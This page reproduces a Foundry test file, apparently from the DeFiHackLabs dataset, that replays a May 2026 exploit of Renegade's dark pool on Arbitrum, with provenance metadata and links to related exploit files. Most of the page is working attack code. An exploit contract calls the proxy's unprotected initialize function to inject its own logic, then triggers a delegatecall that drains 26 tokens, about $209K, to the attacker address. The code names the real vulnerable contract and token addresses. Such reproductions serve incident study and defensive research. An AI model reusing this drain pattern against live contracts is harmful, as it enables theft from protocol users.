Public reproduction file
src/test/2026-05/Renegade_exp.sol
Public reproduction file for dataset entry Renegade.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";8// @KeyInfo - Total Lost : ~$209K9// Attacker : https://arbiscan.io/address/0x777253F28AdC29645152b7b41BE5c772A965777710// Attack Contract : https://arbiscan.io/address/0x33FB722C76D4e9fC0c86BbF10EBDeA45a4434a3411// Vulnerable Contract : https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC51812// Attack Tx : https://arbiscan.io/tx/0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e13//14// @Info15// Vulnerable Contract Code : https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC518#code16//17// @Analysis18// Post-mortem : https://x.com/renegade_fi/status/205353177263442759919// Twitter Guy : https://x.com/DefimonAlerts/status/205353832596997780121contract RenegadeTest is Test {22 bytes32 internal constant TX_HASH = 0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e;23 address internal constant EXPLOITER = 0x777253F28AdC29645152b7b41BE5c772A9657777;24 address internal constant EXPLOIT_CONTRACT = 0x33FB722C76D4e9fC0c86BbF10EBDeA45a4434a34;25 address internal constant DARK_POOL_PROXY = 0x30bD8eAb29181F790D7e495786d4B96d7AfDC518;26 address internal constant STYLUS_IMPLEMENTATION = 0xC038933d0b33359f5C87B4B2f92Ee0DAd11EaDc5;27 IERC20 internal constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);29 function setUp() public {30 vm.createSelectFork("arbitrum", TX_HASH);31 vm.etch(STYLUS_IMPLEMENTATION, address(new RenegadeStylusInitializeShim()).code);32 vm.etch(EXPLOIT_CONTRACT, address(new RenegadeExploitContract()).code);33 vm.label(EXPLOITER, "Exploiter");34 vm.label(EXPLOIT_CONTRACT, "Renegade Exploit Contract");35 vm.label(DARK_POOL_PROXY, "Renegade Dark Pool Proxy");36 vm.label(STYLUS_IMPLEMENTATION, "Renegade Stylus Implementation Shim");37 vm.label(address(USDC), "USDC");38 }40 function testExploit() public {41 uint256 beforeUsdc = USDC.balanceOf(EXPLOITER);42 uint256[26] memory beforeProxyBalances;43 uint256[26] memory beforeExploiterBalances;45 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {46 address token = RenegadeTokenList.at(i);47 beforeProxyBalances[i] = IERC20(token).balanceOf(DARK_POOL_PROXY);48 beforeExploiterBalances[i] = IERC20(token).balanceOf(EXPLOITER);49 }51 vm.prank(EXPLOITER, EXPLOITER);52 RenegadeExploitContract(EXPLOIT_CONTRACT).attack();54 uint256 totalStolenUsdE8;55 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {56 address token = RenegadeTokenList.at(i);57 uint256 stolenAmount = IERC20(token).balanceOf(EXPLOITER) - beforeExploiterBalances[i];58 assertEq(stolenAmount, beforeProxyBalances[i], "unexpected drained token amount");59 assertEq(IERC20(token).balanceOf(DARK_POOL_PROXY), 0, "proxy token balance not drained");61 totalStolenUsdE8 += stolenAmount * RenegadeTokenList.usdPriceE8(i) / (10 ** RenegadeTokenList.decimals(i));62 }64 assertEq(USDC.balanceOf(EXPLOITER) - beforeUsdc, 104_383_594_837);65 assertGt(totalStolenUsdE8, 200_000e8, "USD value too low");66 assertLt(totalStolenUsdE8, 220_000e8, "USD value too high");67 console.log("Total stolen USD", totalStolenUsdE8 / 1e8);68 }69}71contract RenegadeExploitContract {72 address internal constant EXPLOITER = 0x777253F28AdC29645152b7b41BE5c772A9657777;73 IRenegadeDarkPool internal constant DARK_POOL = IRenegadeDarkPool(0x30bD8eAb29181F790D7e495786d4B96d7AfDC518);75 function attack() external {76 uint256[2] memory publicBlinder;78 DARK_POOL.initialize(79 address(this),80 address(0),81 address(0),82 address(0),83 address(0),84 address(0),85 address(0),86 address(0),87 address(0),88 address(0),89 0,90 publicBlinder,91 EXPLOITER92 );93 DARK_POOL.updateWallet("", "", "", "");94 }96 function drainTokens() external {97 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {98 address token = RenegadeTokenList.at(i);99 uint256 amount = IERC20(token).balanceOf(address(this));100 if (amount != 0) {101 require(IERC20(token).transfer(EXPLOITER, amount), "transfer failed");102 }103 }104 }105}107contract RenegadeStylusInitializeShim {108 bytes4 internal constant INITIALIZE_SELECTOR = 0x92413afe;109 bytes4 internal constant UPDATE_WALLET_SELECTOR = 0x803f430a;110 address internal injectedLogic;112 // The real implementation is Arbitrum Stylus code; Foundry/revm stops at113 // OpcodeNotFound there. Only the two selectors reached by the exploit tx are114 // shimmed: initialize stores attacker-controlled logic in proxy storage, and115 // updateWallet delegatecalls that logic from the proxy storage context.116 fallback() external {117 require(msg.sig == INITIALIZE_SELECTOR || msg.sig == UPDATE_WALLET_SELECTOR, "unexpected Renegade selector");119 if (msg.sig == INITIALIZE_SELECTOR) {120 injectedLogic = abi.decode(msg.data[4:], (address));121 return;122 }124 address logic = injectedLogic;125 require(logic != address(0), "missing injected logic");127 (bool ok, bytes memory ret) =128 logic.delegatecall(abi.encodeWithSelector(RenegadeExploitContract.drainTokens.selector));129 ret;130 require(ok, "injected delegatecall failed");131 }132}134interface IRenegadeDarkPool {135 function initialize(136 address injectedLogic,137 address verifier,138 address hasher,139 address transferExecutor,140 address permit2,141 address vkeys,142 address protocolFeeRecipient,143 address protocolFeeController,144 address relayer,145 address priceReporter,146 uint256 protocolFee,147 uint256[2] calldata publicBlinder,148 address owner149 ) external;151 function updateWallet(152 bytes calldata wallet,153 bytes calldata proof,154 bytes calldata statement,155 bytes calldata blinderSeed156 ) external;157}159library RenegadeTokenList {160 function count() internal pure returns (uint256) {161 return 26;162 }165 function decimals(uint256 index) internal pure returns (uint256) {166 if (index == 6) return 8;167 if (index == 18 || index == 25) return 6;168 return 18;169 }171 // Approximate USD prices with 8 decimals, used only to display the aggregate exploit value.172 function usdPriceE8(uint256 index) internal pure returns (uint256) {173 if (index == 1) return 1e8; // PENDLE174 if (index == 2) return 25_000_000; // CRV: $0.25175 if (index == 4) return 50_000_000; // LDO: $0.50176 if (index == 5) return 4e8; // LPT177 if (index == 6) return 100_000e8; // WBTC178 if (index == 8) return 1_000_000; // RDNT: $0.01179 if (index == 9) return 20e8; // COMP180 if (index == 11) return 1_500_000; // XAI: $0.015181 if (index == 13) return 1e8; // ZRO182 if (index == 14) return 50_000_000; // ETHFI: $0.50183 if (index == 15) return 2_400e8; // WETH184 if (index == 16) return 25_000_000; // ARB: $0.25185 if (index == 17) return 4_000_000; // GRT: $0.04186 if (index == 18) return 1e8; // USDC187 if (index == 20) return 80e8; // AAVE188 if (index == 22) return 8e8; // LINK189 if (index == 23) return 3e8; // UNI190 if (index == 24) return 8e8; // GMX191 if (index == 25) return 1e8; // USDT192 return 0;193 }195 function at(uint256 index) internal pure returns (address) {196 if (index == 0) return 0x0721b3C9f19cfeF1d622C918DcD431960f35E060;197 if (index == 1) return 0x0c880f6761F1af8d9Aa9C466984b80DAb9a8c9e8;198 if (index == 2) return 0x11cDb42B0EB46D95f990BeDD4695A6e3fA034978;199 if (index == 3) return 0x13ad3f1150db0e1e05fd32bDEeB7C110ee023de6;200 if (index == 4) return 0x13Ad51ed4F1B7e9Dc168d8a00cB3f4dDD85EfA60;201 if (index == 5) return 0x289ba1701C2F088cf0faf8B3705246331cB8A839;202 if (index == 6) return 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;203 if (index == 7) return 0x306fD3e7b169Aa4ee19412323e1a5995B8c1a1f4;204 if (index == 8) return 0x3082CC23568eA640225c2467653dB90e9250AaA0;205 if (index == 9) return 0x354A6dA3fcde098F8389cad84b0182725c6C91dE;206 if (index == 10) return 0x45D9831d8751B2325f3DBf48db748723726e1C8c;207 if (index == 11) return 0x4Cb9a7AE498CEDcBb5EAe9f25736aE7d428C9D66;208 if (index == 12) return 0x65C101E95D7DD475c7966330fa1A803205FF92aB;209 if (index == 13) return 0x6985884C4392D348587B19cb9eAAf157F13271cd;210 if (index == 14) return 0x7189fb5B6504bbfF6a852B13B7B82a3c118fDc27;211 if (index == 15) return 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;212 if (index == 16) return 0x912CE59144191C1204E64559FE8253a0e49E6548;213 if (index == 17) return 0x9623063377AD1B27544C965cCd7342f7EA7e88C7;214 if (index == 18) return 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;215 if (index == 19) return 0xb1425d5Bafc89A069421F69Ba57DBE2F23fC45f6;216 if (index == 20) return 0xba5DdD1f9d7F570dc94a51479a000E3BCE967196;217 if (index == 21) return 0xC5a861787f3e173F2b004d5cfA6a717f5DC5484D;218 if (index == 22) return 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;219 if (index == 23) return 0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0;220 if (index == 24) return 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a;221 if (index == 25) return 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;222 revert("token index out of bounds");223 }224}Analysis
Dataset entry
Public Foundry test for “Renegade” (2026-05-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x777253f28adc29645152b7b41be5c772a9657777
- Attack Contract
0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34
- Vulnerable Contract
0x30bd8eab29181f790d7e495786d4b96d7afdc518
- Attack Tx
0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e
- Post: https://x.com/renegade_fi/status/2053531772634427599
- Twitter: https://x.com/DefimonAlerts/status/2053538325969977801
- Explorer: https://arbiscan.io/address/0x777253F28AdC29645152b7b41BE5c772A9657777
- Explorer: https://arbiscan.io/address/0x33FB722C76D4e9fC0c86BbF10EBDeA45a4434a34
- Explorer: https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC518
- Explorer: https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC518#code
File record
- Name
- Renegade
- Path
- src/test/2026-05/Renegade_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- beed1ea054c2296c2bfd280458a4b496e4f9660d
- Language
- Solidity
- Size
- 224 lines
- Date
- 2026-05-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/Renegade_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob beed1ea054c2296c2bfd280458a4b496e4f9660d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.